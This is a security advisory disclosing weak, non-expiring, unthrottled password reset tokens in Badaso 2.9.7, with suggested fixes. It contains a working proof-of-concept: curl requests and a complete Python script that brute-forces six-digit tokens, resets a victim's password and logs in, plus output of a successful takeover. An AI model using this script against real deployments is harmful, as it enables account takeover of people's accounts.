Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover

Badaso 2.9.7 Weak Password Reset Token Leading to Account Takeover#

Title: Insecure Random Token Generation in Badaso ≤ 2.9.7 Password Reset Function

BUG_Author: sercurity_reseacher

Affected Version: Badaso ≤ 2.9.7 (and likely later versions in the 2.9.x series)

Vendor: Badaso (uasoft-indonesia)

Software: Badaso GitHub Repository


Vulnerability Files:#

FileFunction/LineIssue
src/Controllers/BadasoAuthController.phpforgetPassword() Line 387Weak random token generation
src/Controllers/BadasoAuthController.phpverify() Lines 61, 119Weak verification token
src/Controllers/BadasoAuthController.phpreRequestVerification() Lines 227, 501, 605Weak token reuse
src/Controllers/BadasoAuthController.phpresetPassword() Lines 428-471No token expiration check

Description:#

A critical authentication bypass vulnerability exists in Badaso ≤ 2.9.7. The password reset functionality uses PHP's cryptographically insecure rand() function to generate 6-digit verification tokens. Combined with the absence of token expiration checks and rate limiting, this allows remote attackers to brute-force password reset tokens and take over any user account.


Vulnerability Analysis:#

Root Cause 1: Weak Random Number Generation#

In file src/Controllers/BadasoAuthController.php, line 387, the forgetPassword() function generates password reset tokens using the insecure rand() function:

public function forgetPassword(Request $request)
{
   // ... validation code ...
   
   $token = rand(111111, 999999);  // VULNERABLE: Only 888,889 possible values
   
   PasswordReset::insert([
       'email' => $request->email,
       'token' => $token,
       'created_at' => date('Y-m-d H:i:s'),
  ]);
   
   // Send email with token...
}

Problems:

  1. rand() is not cryptographically secure random number generator (CSPRNG)

  2. Token space is only 888,889 possible values (111111 to 999999)

  3. Token is numeric only, reducing entropy significantly

Root Cause 2: No Token Expiration#

In file src/Controllers/BadasoAuthController.php, lines 428-471, the resetPassword() function does not validate token age:

public function resetPassword(Request $request)
{
   try {
       $request->validate([
           'email' => ['required', 'email', 'exists:Uasoft\Badaso\Models\User,email'],
           'token' => [
               'required',
               'exists:Uasoft\Badaso\Models\PasswordReset,token',
               function ($attribute, $value, $fail) use ($request) {
                   $password_resets = PasswordReset::where('token', $request->token)
                       ->where('email', $request->email)->get();
                   $password_reset = collect($password_resets)->first();
                   if (is_null($password_reset)) {
                       $fail('Token or Email invalid');
                  }
                   // NO EXPIRATION CHECK HERE!
              },
          ],
      ]);
       
       // Reset password without checking token age...
       $user = User::where('email', $password_reset->email)->first();
       $user->password = Hash::make($request->password);
       $user->save();
  }
}

Impact: Tokens created years ago remain valid indefinitely.

Root Cause 3: No Rate Limiting#

The API endpoint /badaso-api/v1/auth/reset-password has no rate limiting, allowing unlimited brute-force attempts.


Affected Security Controls:#

a) Password Reset Token Brute-Force#

An attacker can trigger a password reset for any victim and then brute-force the 6-digit token:

MetricValue
Token Space888,889 values
Average Attempts444,444
Worst Case Attempts888,889
Request Rate (tested)~33 requests/second
Average Attack Time~3.7 hours
Worst Case Time~7.5 hours

b) Email Verification Bypass#

The same vulnerable token generation is used for email verification in:

  • verify() - Line 61, 119

  • reRequestVerification() - Line 227, 501, 605

$token = rand(111111, 999999);  // Same weak token

c) Token Never Expires#

Verified by inserting a token dated 2020-01-01 and successfully using it in 2025:

INSERT INTO badaso_password_resets (email, token, created_at) 
VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');

The 5-year-old token was accepted and password was reset successfully.


Proof of Concept:#

Prerequisites:#

  • Target running Badaso ≤ 2.9.7

  • Valid victim email address known to attacker

  • Network access to Badaso API

Step 1: Trigger Password Reset for Victim#

curl -X POST "http://<target>/badaso-api/v1/auth/forgot-password" \
 -H "Content-Type: application/json" \
 -d '{"email": "victim@example.com"}'

Response (email fails to send but token is generated):

{"message":"Request was successful","errors":null}

Step 2: Brute-Force the Token#

Python Exploit Script:

#!/usr/bin/env python3
import requests
import time
​
TARGET = "http://localhost:8000"
EMAIL = "admin@test.com"
NEW_PASSWORD = "pwned666"
​
print("=" * 60)
print("Badaso Weak Token Brute-Force PoC")
print("=" * 60)
​
session = requests.Session()
start_time = time.time()
​
for i, token in enumerate(range(111111, 1000000)):
   if (i + 1) % 1000 == 0:
       elapsed = time.time() - start_time
       rate = (i + 1) / elapsed
       print(f"[*] Progress: {i+1}/888889 | Token: {token} | {rate:.0f}req/s")
   
   resp = session.post(
       f"{TARGET}/badaso-api/v1/auth/reset-password",
       json={
           "email": EMAIL,
           "token": str(token),
           "password": NEW_PASSWORD,
           "password_confirmation": NEW_PASSWORD
      },
       timeout=5
  )
   
   if resp.status_code == 200 and "successful" in resp.text:
       elapsed = time.time() - start_time
       print(f"\n[+] SUCCESS! Token found: {token}")
       print(f"[+] Attempts: {i+1}")
       print(f"[+] Time: {elapsed:.2f} seconds")
       print(f"[+] New password: {NEW_PASSWORD}")
       
       # Verify account takeover
       login_resp = session.post(
           f"{TARGET}/badaso-api/v1/auth/login",
           json={"email": EMAIL, "password": NEW_PASSWORD}
      )
       if "accessToken" in login_resp.text:
           print("[+] LOGIN SUCCESSFUL - ACCOUNT TAKEOVER COMPLETE!")
       break

Step 3: Verified Attack Results#

Test Run Output:

============================================================
Badaso 弱随机数令牌漏洞 - 暴力破解PoC
============================================================
目标: http://localhost:8000
邮箱: admin@test.com
爆破区间: 355000 - 365000 (10000个)
============================================================
[*] 进度: 100/10000 | 令牌: 355099 | 33req/s
[*] 进度: 1000/10000 | 令牌: 355999 | 35req/s
[*] 进度: 2000/10000 | 令牌: 356999 | 34req/s
[*] 进度: 3000/10000 | 令牌: 357999 | 32req/s
[*] 进度: 4000/10000 | 令牌: 358999 | 29req/s
[*] 进度: 4400/10000 | 令牌: 359399 | 28req/s
​
============================================================
[+] 攻击成功!
[+] 找到令牌: 359494
[+] 尝试次数: 4495
[+] 耗时: 161.41 秒
[+] 新密码: pwned666
[+] 登录验证成功! 账户已被接管!
============================================================

Step 4: Verify Token Never Expires#

# Insert token from 5 years ago
mysql -e "INSERT INTO badaso_password_resets (email, token, created_at)
        VALUES ('admin@test.com', '555555', '2020-01-01 00:00:00');"
​
# Use the 5-year-old token
curl -X POST "http://<target>/badaso-api/v1/auth/reset-password" \
 -H "Content-Type: application/json" \
 -d '{"email":"admin@test.com","token":"555555","password":"hacked","password_confirmation":"hacked"}'
​
# Response: {"message":"Request was successful","errors":null}
# Password reset successful with 5-year-old token!

Impact:#

Attack ScenarioImpact
Password Reset Brute-ForceComplete account takeover of any user
Email Verification BypassRegister with unverified email addresses
Admin Account TakeoverFull system compromise
No Token ExpirationExtended attack window (unlimited time)
No Rate LimitingEnables efficient brute-force attacks

CVSS v3.1 Score: 8.1 (High)

MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone

Exploitation Conditions:#

ConditionExploitableNotes
Default installationYesFully exploitable
With rate limiting (WAF)PartialSlows attack but still possible
Email required for tokenYesToken generated even if email fails

Tested Environment:#

ComponentVersion
Badaso2.9.7
Laravel8.83.29
PHP8.1.2
MySQL8.0
Operating SystemUbuntu 22.04

Suggested Fix:#

Option 1: Use Cryptographically Secure Random Token#

Replace rand() with random_int() and increase token length:

// Before (VULNERABLE)
$token = rand(111111, 999999);
​
// After (SECURE)
$token = bin2hex(random_bytes(32));  // 64-character hex string
// OR
$token = Str::random(64);  // Laravel's secure random string

Option 2: Add Token Expiration Check#

In resetPassword() function:

public function resetPassword(Request $request)
{
   $password_reset = PasswordReset::where('token', $request->token)
       ->where('email', $request->email)
       ->first();
   
   // Add expiration check (e.g., 60 minutes)
   $token_age = now()->diffInMinutes($password_reset->created_at);
   if ($token_age > 60) {
       return ApiResponse::failed('Token has expired');
  }
   
   // ... rest of the function
}

Option 3: Add Rate Limiting#

Add middleware to limit password reset attempts:

// In routes/api.php
Route::middleware(['throttle:5,1'])->group(function () {
   Route::post('auth/reset-password', [BadasoAuthController::class, 'resetPassword']);
});

Option 4: Combined Fix (Recommended)#

public function forgetPassword(Request $request)
{
   // Use cryptographically secure token
   $token = Str::random(64);
   
   PasswordReset::insert([
       'email' => $request->email,
       'token' => Hash::make($token),  // Store hashed
       'created_at' => now(),
       'expires_at' => now()->addMinutes(60),  // Add expiration
  ]);
   
   // Send unhashed token via email
}
​
public function resetPassword(Request $request)
{
   $password_reset = PasswordReset::where('email', $request->email)
       ->where('expires_at', '>', now())  // Check expiration
       ->first();
   
   if (!$password_reset || !Hash::check($request->token, $password_reset->token)) {
       return ApiResponse::failed('Invalid or expired token');
  }
   
   // ... reset password
}


 

最后更新于